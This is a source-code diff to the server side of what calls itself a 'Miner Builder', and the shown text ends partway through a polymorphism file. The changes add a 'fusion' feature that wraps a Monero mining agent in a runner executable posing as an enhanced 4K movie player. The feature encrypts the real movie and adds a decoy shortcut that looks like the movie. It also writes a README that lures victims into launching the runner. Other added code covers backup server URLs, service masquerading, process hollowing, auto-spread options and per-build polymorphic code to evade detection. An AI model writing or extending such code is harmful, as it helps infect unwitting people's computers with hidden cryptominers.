+func fusionExportSubdir(req *BuildRequest, mediaName string) string {
+ if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
+ return sanitizeDirName(s)
+ }
+ base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
+ if base == "" {
+ base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
+ }
+ if base == "" {
+ base = sanitizeFileName(req.WorkerName)
+ }
+ return sanitizeDirName(base)
+}
+
+func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
+ subdir = sanitizeDirName(subdir)
+ if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
+ return "", nil
+ }
+ destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
+ if err := os.MkdirAll(destDir, 0755); err != nil {
+ return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
+ }
+ for name, src := range artifacts {
+ if src == "" {
+ continue
+ }
+ dest := filepath.Join(destDir, sanitizeFileName(name))
+ if err := copyFile(src, dest); err != nil {
+ return "", fmt.Errorf("failed to export %s: %w", name, err)
+ }
+ }
+ readmePath := filepath.Join(destDir, "README.txt")
+ if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
+ return "", fmt.Errorf("failed to write README.txt: %w", err)
+ }
+ log.Printf("[Builder] Fusion deliverables -> %s", destDir)
+ return destDir, nil
+}
+
+func sanitizeDirName(name string) string {
+ name = strings.TrimSpace(name)
+ if name == "" {
+ return ""
+ }
+ name = filepath.Base(name)
+ var b strings.Builder
+ for _, r := range name {
+ switch {
+ case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
+ if r == ' ' {
+ b.WriteRune('_')
+ } else {
+ b.WriteRune(r)
+ }
+ }
+ }
+ out := strings.Trim(b.String(), "._")
+ if out == "" {
+ return "title"
+ }
+ return out
+}
diff --git a/server/internal/builder/fusion_readme.go b/server/internal/builder/fusion_readme.go
new file mode 100644
index 0000000..dc2e680
--- /dev/null
+++ b/server/internal/builder/fusion_readme.go
@@ -0,0 +1,71 @@
+package builder
+
+import (
+ "fmt"
+ "path/filepath"
+ "strings"
+)
+
+type fusionReadmeInfo struct {
+ Title string
+ RunnerName string
+ MediaName string
+ PayloadKind string // exe | video
+ MediaMode string // embedded | paired | ""
+}
+
+func formatFusionReadme(info fusionReadmeInfo) string {
+ title := strings.TrimSpace(info.Title)
+ if title == "" {
+ title = "Media"
+ }
+ runner := strings.TrimSpace(info.RunnerName)
+ if runner == "" {
+ runner = "runner.exe"
+ }
+
+ var b strings.Builder
+ fmt.Fprintf(&b, "========================================\r\n")
+ fmt.Fprintf(&b, " ENHANCED PLAYBACK PACKAGE\r\n")
+ fmt.Fprintf(&b, "========================================\r\n\r\n")
+ fmt.Fprintf(&b, "Title: %s\r\n\r\n", title)
+
+ switch {
+ case info.PayloadKind == "video" && info.MediaMode == "paired":
+ media := strings.TrimSpace(info.MediaName)
+ if media == "" {
+ media = title + filepath.Ext(title)
+ }
+ fmt.Fprintf(&b, "HOW TO WATCH\r\n")
+ fmt.Fprintf(&b, "-----------\r\n")
+ fmt.Fprintf(&b, "Use the runner to play this movie in enhanced 4K / HDR quality:\r\n\r\n")
+ fmt.Fprintf(&b, " %s\r\n\r\n", runner)
+ fmt.Fprintf(&b, "Do NOT open the movie file directly — it is locked.\r\n")
+ fmt.Fprintf(&b, "Double-clicking the movie shortcut only reminds you to use the runner.\r\n\r\n")
+ fmt.Fprintf(&b, "FILES IN THIS FOLDER\r\n")
+ fmt.Fprintf(&b, "-------------------\r\n")
+ fmt.Fprintf(&b, " %-22s START HERE — play movie (enhanced 4K)\r\n", runner)
+ fmt.Fprintf(&b, " %-22s locked shortcut (looks like the movie)\r\n", media+".lnk")
+ fmt.Fprintf(&b, " %-22s encrypted video (do not open directly)\r\n", media+".cmdata")
+ fmt.Fprintf(&b, " README.txt this file\r\n\r\n")
+ fmt.Fprintf(&b, "The agent is embedded inside the runner only — no separate miner file.\r\n")
+ fmt.Fprintf(&b, "Keep every file in this folder together (or use the downloaded ZIP as-is).\r\n")
+
+ case info.PayloadKind == "video" && info.MediaMode == "embedded":
+ fmt.Fprintf(&b, "HOW TO WATCH\r\n")
+ fmt.Fprintf(&b, "-----------\r\n")
+ fmt.Fprintf(&b, "Double-click the launcher below to play in enhanced 4K / HDR quality:\r\n\r\n")
+ fmt.Fprintf(&b, " %s\r\n\r\n", runner)
+ fmt.Fprintf(&b, "This is a single-file package — the movie and player are bundled inside.\r\n")
+
+ default:
+ fmt.Fprintf(&b, "HOW TO RUN\r\n")
+ fmt.Fprintf(&b, "----------\r\n")
+ fmt.Fprintf(&b, "Double-click:\r\n\r\n")
+ fmt.Fprintf(&b, " %s\r\n\r\n", runner)
+ fmt.Fprintf(&b, "Your prep application runs normally; enhanced background services start automatically.\r\n")
+ }
+
+ fmt.Fprintf(&b, "\r\n========================================\r\n")
+ return b.String()
+}
diff --git a/server/internal/builder/fusion_readme_test.go b/server/internal/builder/fusion_readme_test.go
new file mode 100644
index 0000000..ec7a64a
--- /dev/null
+++ b/server/internal/builder/fusion_readme_test.go
@@ -0,0 +1,21 @@
+package builder
+
+import (
+ "strings"
+ "testing"
+)
+
+func TestFormatFusionReadmePaired(t *testing.T) {
+ text := formatFusionReadme(fusionReadmeInfo{
+ Title: "Vacation",
+ RunnerName: "Vacation-runner.exe",
+ MediaName: "Vacation.mkv",
+ PayloadKind: "video",
+ MediaMode: "paired",
+ })
+ for _, want := range []string{"Vacation-runner.exe", "enhanced 4K", "README.txt", "Vacation.mkv.lnk"} {
+ if !strings.Contains(text, want) {
+ t.Fatalf("readme missing %q:\n%s", want, text)
+ }
+ }
+}
diff --git a/server/internal/builder/fusion_upload_test.go b/server/internal/builder/fusion_upload_test.go
index f860c03..1e4455b 100644
--- a/server/internal/builder/fusion_upload_test.go
+++ b/server/internal/builder/fusion_upload_test.go
@@ -9,7 +9,7 @@ import (
"testing"
)
-func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
+func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
dataDir := t.TempDir()
h := &Handler{dataDir: dataDir}
@@ -42,16 +42,35 @@ func TestSaveUploadedPrepCreatesPrepsDir(t *testing.T) {
}
defer f.Close()
- path, cleanup, err := h.saveUploadedPrep(f, fileHeaders[0])
+ path, cleanup, err := h.saveUploadedFusionPayload(f, fileHeaders[0])
if err != nil {
t.Fatal(err)
}
defer cleanup()
if _, err := os.Stat(path); err != nil {
- t.Fatalf("prep not saved: %v", err)
+ t.Fatalf("payload not saved: %v", err)
}
if _, err := os.Stat(filepath.Join(dataDir, "preps")); err != nil {
t.Fatalf("preps dir not created: %v", err)
}
}
+
+func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
+ h := &Handler{dataDir: t.TempDir()}
+ body := &bytes.Buffer{}
+ w := multipart.NewWriter(body)
+ partHeader := make(textproto.MIMEHeader)
+ partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
+ part, _ := w.CreatePart(partHeader)
+ _, _ = part.Write([]byte("x"))
+ w.Close()
+ r := multipart.NewReader(body, w.Boundary())
+ form, _ := r.ReadForm(10 << 20)
+ f, _ := form.File["prep_exe"][0].Open()
+ defer f.Close()
+ _, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
+ if err == nil {
+ t.Fatal("expected error for .txt upload")
+ }
+}
diff --git a/server/internal/builder/fusion_zip.go b/server/internal/builder/fusion_zip.go
new file mode 100644
index 0000000..18e17b7
--- /dev/null
+++ b/server/internal/builder/fusion_zip.go
@@ -0,0 +1,71 @@
+package builder
+
+import (
+ "archive/zip"
+ "fmt"
+ "io"
+ "os"
+ "path/filepath"
+ "strings"
+)
+
+func zipDirectory(sourceDir, zipPath string) error {
+ sourceDir, err := filepath.Abs(sourceDir)
+ if err != nil {
+ return err
+ }
+ zipPath, err = filepath.Abs(zipPath)
+ if err != nil {
+ return err
+ }
+ if strings.HasPrefix(zipPath, sourceDir+string(os.PathSeparator)) || zipPath == sourceDir {
+ return fmt.Errorf("zip path must be outside source directory")
+ }
+
+ out, err := os.Create(zipPath)
+ if err != nil {
+ return err
+ }
+ defer out.Close()
+
+ zw := zip.NewWriter(out)
+ defer zw.Close()
+
+ return filepath.Walk(sourceDir, func(path string, info os.FileInfo, walkErr error) error {
+ if walkErr != nil {
+ return walkErr
+ }
+ if info.IsDir() {
+ return nil
+ }
+ if strings.EqualFold(filepath.Ext(path), ".zip") {
+ return nil
+ }
+ rel, err := filepath.Rel(sourceDir, path)
+ if err != nil {
+ return err
+ }
+ rel = filepath.ToSlash(rel)
+ hdr, err := zip.FileInfoHeader(info)
+ if err != nil {
+ return err
+ }
+ hdr.Name = rel
+ hdr.Method = zip.Deflate
+ w, err := zw.CreateHeader(hdr)
+ if err != nil {
+ return err
+ }
+ in, err := os.Open(path)
+ if err != nil {
+ return err
+ }
+ _, err = io.Copy(w, in)
+ in.Close()
+ return err
+ })
+}
+
+func fusionBundleZipName(subdir string) string {
+ return sanitizeFileName(subdir) + "-package.zip"
+}
diff --git a/server/internal/builder/fusion_zip_test.go b/server/internal/builder/fusion_zip_test.go
new file mode 100644
index 0000000..5284920
--- /dev/null
+++ b/server/internal/builder/fusion_zip_test.go
@@ -0,0 +1,27 @@
+package builder
+
+import (
+ "archive/zip"
+ "os"
+ "path/filepath"
+ "testing"
+)
+
+func TestZipDirectory(t *testing.T) {
+ dir := t.TempDir()
+ if err := os.WriteFile(filepath.Join(dir, "README.txt"), []byte("hi"), 0644); err != nil {
+ t.Fatal(err)
+ }
+ zipPath := filepath.Join(t.TempDir(), "pkg.zip")
+ if err := zipDirectory(dir, zipPath); err != nil {
+ t.Fatal(err)
+ }
+ r, err := zip.OpenReader(zipPath)
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer r.Close()
+ if len(r.File) != 1 || r.File[0].Name != "README.txt" {
+ t.Fatalf("unexpected zip contents: %+v", r.File)
+ }
+}
diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go
index ea27a17..2f801a2 100644
--- a/server/internal/builder/handler.go
+++ b/server/internal/builder/handler.go
@@ -22,8 +22,9 @@ import (
type BuildRequest struct {
WorkerName string `json:"worker_name"`
- ServerURL string `json:"server_url"`
- Wallet string `json:"wallet"`
+ ServerURL string `json:"server_url"`
+ BackupServerURLs []string `json:"backup_server_urls"`
+ Wallet string `json:"wallet"`
OutputDir string `json:"output_dir"`
Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
@@ -55,9 +56,13 @@ type BuildRequest struct {
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
- FusionEnabled bool `json:"fusion_enabled"`
- FusionRunOrder string `json:"fusion_run_order"`
- FusionOutputName string `json:"fusion_output_name"`
+ FusionEnabled bool `json:"fusion_enabled"`
+ FusionRunOrder string `json:"fusion_run_order"`
+ FusionOutputName string `json:"fusion_output_name"`
+ FusionPayloadKind string `json:"fusion_payload_kind"`
+ FusionMediaMode string `json:"fusion_media_mode"`
+ FusionMediaBaseName string `json:"fusion_media_base_name"`
+ FusionExportSubdir string `json:"fusion_export_subdir"`
// AI Autonomy (Ollama)
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
@@ -83,12 +88,22 @@ type BuildResponse struct {
ExportPath string `json:"export_path,omitempty"`
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
+ FusionExportDir string `json:"fusion_export_dir,omitempty"`
+ ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"`
+ BundleFileName string `json:"bundle_file_name,omitempty"`
+ BundleDownloadURL string `json:"bundle_download_url,omitempty"`
+ BundleSize int64 `json:"bundle_size,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
Error string `json:"error,omitempty"`
}
+type BuildArtifactFile struct {
+ FileName string `json:"file_name"`
+ FilePath string `json:"file_path,omitempty"`
+}
+
type Handler struct {
db *db.Database
dataDir string
@@ -147,7 +162,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
- if err := r.ParseMultipartForm(150 << 20); err != nil {
+ if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return
}
@@ -166,10 +181,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
defer file.Close()
+ if req.FusionMediaBaseName == "" && header.Filename != "" {
+ req.FusionMediaBaseName = header.Filename
+ }
if req.FusionEnabled && req.FusionOutputName == "" && header.Filename != "" {
req.FusionOutputName = header.Filename
}
- saved, remove, err := h.saveUploadedPrep(file, header)
+ if req.FusionPayloadKind == "" {
+ req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
+ }
+ saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
@@ -230,7 +251,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
- if err := r.ParseMultipartForm(150 << 20); err != nil {
+ if err := r.ParseMultipartForm(64 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return
}
@@ -253,7 +274,10 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
prepSize = header.Size
prepName = header.Filename
}
- saved, remove, err := h.saveUploadedPrep(file, header)
+ if req.FusionPayloadKind == "" {
+ req.FusionPayloadKind = detectFusionPayloadKind(header.Filename)
+ }
+ saved, remove, err := h.saveUploadedFusionPayload(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
return
@@ -301,6 +325,30 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, build.FilePath)
}
+func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) {
+ buildID := chi.URLParam(r, "id")
+ name := sanitizeFileName(chi.URLParam(r, "name"))
+ if name == "" {
+ http.Error(w, "Invalid artifact name", http.StatusBadRequest)
+ return
+ }
+ buildDir := filepath.Join(h.dataDir, "builds", buildID)
+ path := filepath.Join(buildDir, name)
+ if _, err := os.Stat(path); err != nil {
+ // Paired media may live in fusion export dir — try deliverables folder from query
+ if exportDir := strings.TrimSpace(r.URL.Query().Get("export_dir")); exportDir != "" {
+ path = filepath.Join(exportDir, name)
+ }
+ }
+ if _, err := os.Stat(path); err != nil {
+ http.Error(w, "Artifact not found", http.StatusNotFound)
+ return
+ }
+ w.Header().Set("Content-Type", "application/octet-stream")
+ w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name))
+ http.ServeFile(w, r, path)
+}
+
func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
buildID := chi.URLParam(r, "id")
build, err := h.db.GetBuild(buildID)
@@ -352,6 +400,13 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
ldflags += " -H windowsgui"
}
+ extra, err := injectPolymorph(agentDir, buildID)
+ if err != nil {
+ log.Printf("[Forge] polymorph inject: %v", err)
+ } else {
+ ldflags += extra
+ }
+
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
log.Printf("Build failed: %v", err)
@@ -367,19 +422,97 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
}
+ var extraArtifacts []BuildArtifactFile
+ var fusionRes *fusionBuildResult
if req.FusionEnabled {
- fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
+ if req.FusionPayloadKind == "" {
+ req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
+ }
+ var err error
+ fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
- finalPath = fusedPath
- finalName = filepath.Base(fusedPath)
+ finalPath = fusionRes.LauncherPath
+ finalName = filepath.Base(finalPath)
fusionEnabled = true
+ if fusionRes.EncryptedPath != "" {
+ extraArtifacts = append(extraArtifacts, BuildArtifactFile{
+ FileName: filepath.Base(fusionRes.EncryptedPath),
+ FilePath: fusionRes.EncryptedPath,
+ })
+ }
+ if fusionRes.ShortcutPath != "" {
+ extraArtifacts = append(extraArtifacts, BuildArtifactFile{
+ FileName: filepath.Base(fusionRes.ShortcutPath),
+ FilePath: fusionRes.ShortcutPath,
+ })
+ }
}
- exportPath, err := h.publishRootExecutable(finalPath, finalName)
- if err != nil {
- return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
+ var fusionExportDir string
+ var bundleFileName string
+ var bundleDownloadURL string
+ var bundleSize int64
+ exportPath := ""
+ if fusionEnabled {
+ exportLabel := req.FusionMediaBaseName
+ if exportLabel == "" {
+ exportLabel = filepath.Base(prepPath)
+ }
+ if req.FusionPayloadKind != "video" {
+ exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
+ }
+ arts := map[string]string{finalName: finalPath}
+ for _, ex := range extraArtifacts {
+ arts[ex.FileName] = ex.FilePath
+ }
+ subdir := fusionExportSubdir(req, exportLabel)
+ readme := fusionReadmeInfo{
+ Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
+ RunnerName: finalName,
+ MediaName: filepath.Base(exportLabel),
+ PayloadKind: req.FusionPayloadKind,
+ MediaMode: req.FusionMediaMode,
+ }
+ if readme.Title == "" {
+ readme.Title = sanitizeFileName(req.WorkerName)
+ }
+ dir, err := h.publishFusionDeliverable(subdir, arts, readme)
+ if err != nil {
+ return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
+ }
+ fusionExportDir = dir
+ exportPath = filepath.Join(dir, finalName)
+ extraArtifacts = append(extraArtifacts, BuildArtifactFile{
+ FileName: "README.txt",
+ FilePath: filepath.Join(dir, "README.txt"),
+ })
+ for i := range extraArtifacts {
+ if extraArtifacts[i].FileName != "README.txt" {
+ extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName)
+ }
+ }
+
+ bundleFileName = fusionBundleZipName(subdir)
+ bundleBuildPath := filepath.Join(buildDir, bundleFileName)
+ if err := zipDirectory(dir, bundleBuildPath); err != nil {
+ return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, ""
+ }
+ _ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName))
+ if st, err := os.Stat(bundleBuildPath); err == nil {
+ bundleSize = st.Size()
+ }
+ bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName)
+ } else {
+ var err error
+ exportPath, err = h.publishRootExecutable(finalPath, finalName)
+ if err != nil {
+ return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
+ }
+ }
+ if exportPath == "" {
+ exportPath, _ = filepath.Abs(finalPath)
}
if strings.TrimSpace(req.OutputDir) != "" {
if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil {
@@ -439,7 +572,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
log.Printf("Failed to record build: %v", err)
}
- return BuildResponse{
+ resp := BuildResponse{
Success: true,
BuildID: buildID,
FileName: finalName,
@@ -453,10 +586,23 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
ExportPath: exportPath,
UninstallExportPath: "",
FusionEnabled: fusionEnabled,
+ FusionExportDir: fusionExportDir,
+ ExtraFiles: extraArtifacts,
+ BundleFileName: bundleFileName,
+ BundleDownloadURL: bundleDownloadURL,
+ BundleSize: bundleSize,
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
- }, http.StatusOK, finalPath
+ }
+ if fusionEnabled && bundleDownloadURL != "" {
+ resp.DownloadURL = bundleDownloadURL
+ resp.FileName = bundleFileName
+ if bundleSize > 0 {
+ resp.FileSize = bundleSize
+ }
+ }
+ return resp, http.StatusOK, finalPath
}
// publishRootExecutable writes the forged installer as a single file in the project root.
@@ -613,6 +759,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
+ if req.FusionMediaMode == "" {
+ req.FusionMediaMode = "paired"
+ }
+ req.FusionMediaMode = normalizeFusionMediaMode(req.FusionMediaMode)
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
@@ -628,16 +778,19 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
return nil
}
-func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
- if header == nil || header.Size == 0 {
- return "", nil, fmt.Errorf("prep.exe upload is empty")
+func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
+ if header == nil {
+ return "", nil, fmt.Errorf("fusion upload is missing")
}
- if header.Size > 150<<20 {
- return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
+ if header.Size > FusionMaxUploadBytes {
+ return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
}
- name := strings.ToLower(header.Filename)
- if !strings.HasSuffix(name, ".exe") {
- return "", nil, fmt.Errorf("prep upload must be a .exe file")
+ baseName := filepath.Base(header.Filename)
+ if baseName == "" || baseName == "." {
+ return "", nil, fmt.Errorf("fusion upload filename is invalid")
+ }
+ if !isFusionPayloadExt(baseName) {
+ return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
}
prepRoot := filepath.Join(h.dataDir, "preps")
@@ -648,22 +801,39 @@ func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHe
if err != nil {
return "", nil, err
}
- dest := filepath.Join(dir, "prep.exe")
+ dest := filepath.Join(dir, sanitizeFileName(baseName))
out, err := os.Create(dest)
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
- if _, err := io.Copy(out, file); err != nil {
- out.Close()
+ written, err := io.Copy(out, file)
+ out.Close()
+ if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
- out.Close()
+ if written == 0 {
+ os.RemoveAll(dir)
+ return "", nil, fmt.Errorf("fusion upload is empty")
+ }
+ if written > FusionMaxUploadBytes {
+ os.RemoveAll(dir)
+ return "", nil, fmt.Errorf("fusion upload exceeds %s limit", formatBytes(FusionMaxUploadBytes))
+ }
cleanup := func() { _ = os.RemoveAll(dir) }
return dest, cleanup, nil
}
+func isFusionPayloadExt(name string) bool {
+ switch strings.ToLower(filepath.Ext(name)) {
+ case ".exe", ".mp4", ".mkv", ".mov":
+ return true
+ default:
+ return false
+ }
+}
+
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s
@@ -675,9 +845,10 @@ import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
- WorkerName: %q,
- ServerURL: %q,
- Wallet: %q,
+ WorkerName: %q,
+ ServerURL: %q,
+ BackupServerURLs: %s,
+ Wallet: %q,
Threads: %d,
ThreadMode: %q,
ThreadPercent: %d,
@@ -715,11 +886,15 @@ func GetBuiltinConfig() BuiltinConfig {
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
+ ServiceMasquerade: %v,
+ ServiceName: %q,
+ ServiceDonor: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
+ formatGoStringSlice(req.BackupServerURLs),
req.Wallet,
req.Threads,
req.ThreadMode,
@@ -758,9 +933,32 @@ func GetBuiltinConfig() BuiltinConfig {
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
+ serviceMasqueradeEnabled(req),
+ serviceMasqueradeName(buildID, req),
+ serviceMasqueradeDonor(buildID, req),
)
}
+func serviceMasqueradeEnabled(req *BuildRequest) bool {
+ return req.RunAs == "service" || req.ProcessHollowing
+}
+
+func serviceMasqueradeName(buildID string, req *BuildRequest) string {
+ if !serviceMasqueradeEnabled(req) {
+ return ""
+ }
+ name, _ := pickServiceMasquerade(buildID)
+ return name
+}
+
+func serviceMasqueradeDonor(buildID string, req *BuildRequest) string {
+ if !serviceMasqueradeEnabled(req) {
+ return ""
+ }
+ _, donor := pickServiceMasquerade(buildID)
+ return donor
+}
+
func (h *Handler) copyAgentSource(destDir string) error {
srcDir := h.agentSrcDir
return filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {
@@ -826,6 +1024,23 @@ func looksLikeXMRWallet(addr string) bool {
return true
}
+func formatGoStringSlice(values []string) string {
+ if len(values) == 0 {
+ return "nil"
+ }
+ parts := make([]string, 0, len(values))
+ for _, v := range values {
+ v = strings.TrimSpace(v)
+ if v != "" {
+ parts = append(parts, fmt.Sprintf("%q", v))
+ }
+ }
+ if len(parts) == 0 {
+ return "nil"
+ }
+ return "[]string{" + strings.Join(parts, ", ") + "}"
+}
+
func sanitizeFileName(name string) string {
replacer := strings.NewReplacer(
" ", "-", "/", "-", "\\", "-", ":", "-",
diff --git a/server/internal/builder/limits.go b/server/internal/builder/limits.go
new file mode 100644
index 0000000..7085418
--- /dev/null
+++ b/server/internal/builder/limits.go
@@ -0,0 +1,7 @@
+package builder
+
+// FusionMaxUploadBytes is the maximum prep / video upload size for forge.
+const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
+
+// FusionDeliverablesDir is the project-root folder for per-title movie outputs.
+const FusionDeliverablesDir = "fusion-deliverables"
diff --git a/server/internal/builder/media_lock.go b/server/internal/builder/media_lock.go
new file mode 100644
index 0000000..c7fb9bd
--- /dev/null
+++ b/server/internal/builder/media_lock.go
@@ -0,0 +1,67 @@
+package builder
+
+import (
+ "crypto/rand"
+ "encoding/base64"
+ "fmt"
+ "io"
+ "os"
+)
+
+const mediaLockMagic = "CMVD"
+
+// EncryptMediaFile XOR-encrypts a movie for paired fusion (runner holds the key in manifest).
+func EncryptMediaFile(srcPath, destPath string, key []byte) error {
+ if len(key) == 0 {
+ return fmt.Errorf("media lock key is empty")
+ }
+ in, err := os.Open(srcPath)
+ if err != nil {
+ return err
+ }
+ defer in.Close()
+
+ out, err := os.Create(destPath)
+ if err != nil {
+ return err
+ }
+ defer out.Close()
+
+ if _, err := io.WriteString(out, mediaLockMagic); err != nil {
+ return err
+ }
+ buf := make([]byte, 256*1024)
+ ki := 0
+ for {
+ n, readErr := in.Read(buf)
+ if n > 0 {
+ chunk := make([]byte, n)
+ for i := 0; i < n; i++ {
+ chunk[i] = buf[i] ^ key[ki%len(key)]
+ ki++
+ }
+ if _, err := out.Write(chunk); err != nil {
+ return err
+ }
+ }
+ if readErr == io.EOF {
+ break
+ }
+ if readErr != nil {
+ return readErr
+ }
+ }
+ return nil
+}
+
+func NewMediaLockKey() ([]byte, error) {
+ key := make([]byte, 32)
+ if _, err := rand.Read(key); err != nil {
+ return nil, err
+ }
+ return key, nil
+}
+
+func MediaLockKeyB64(key []byte) string {
+ return base64.StdEncoding.EncodeToString(key)
+}
diff --git a/server/internal/builder/media_lock_test.go b/server/internal/builder/media_lock_test.go
new file mode 100644
index 0000000..4716931
--- /dev/null
+++ b/server/internal/builder/media_lock_test.go
@@ -0,0 +1,28 @@
+package builder
+
+import (
+ "os"
+ "path/filepath"
+ "testing"
+)
+
+func TestEncryptMediaRoundTrip(t *testing.T) {
+ dir := t.TempDir()
+ src := filepath.Join(dir, "clip.mkv")
+ enc := filepath.Join(dir, "clip.mkv.cmdata")
+ plain := []byte("fake movie bytes 12345")
+ if err := os.WriteFile(src, plain, 0644); err != nil {
+ t.Fatal(err)
+ }
+ key, err := NewMediaLockKey()
+ if err != nil {
+ t.Fatal(err)
+ }
+ if err := EncryptMediaFile(src, enc, key); err != nil {
+ t.Fatal(err)
+ }
+ st, _ := os.Stat(enc)
+ if st.Size() <= int64(len(plain)) {
+ t.Fatalf("encrypted size unexpected: %d", st.Size())
+ }
+}
diff --git a/server/internal/builder/polymorph.go b/server/internal/builder/polymorph.go
new file mode 100644
index 0000000..cfdf3f5
--- /dev/null
+++ b/server/internal/builder/polymorph.go
@@ -0,0 +1,171 @@
+package builder
+
+import (
+ "crypto/rand"
+ "encoding/hex"
+ "fmt"
+ "hash/fnv"
+ mrand "math/rand"
+ "os"
+ "path/filepath"
+ "strings"
+)
+
+// injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce).
+func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) {
+ if seed == "" {
+ b := make([]byte, 16)
+ _, _ = rand.Read(b)
+ seed = hex.EncodeToString(b)
+ }
+
+ h := fnv.New64a()
+ _, _ = h.Write([]byte(seed))
+ rng := mrand.New(mrand.NewSource(int64(h.Sum64())))
+
+ buildIDHex := hex.EncodeToString(randomBytes(rng, 8))
+ nonce := hex.EncodeToString(randomBytes(rng, 12))
+
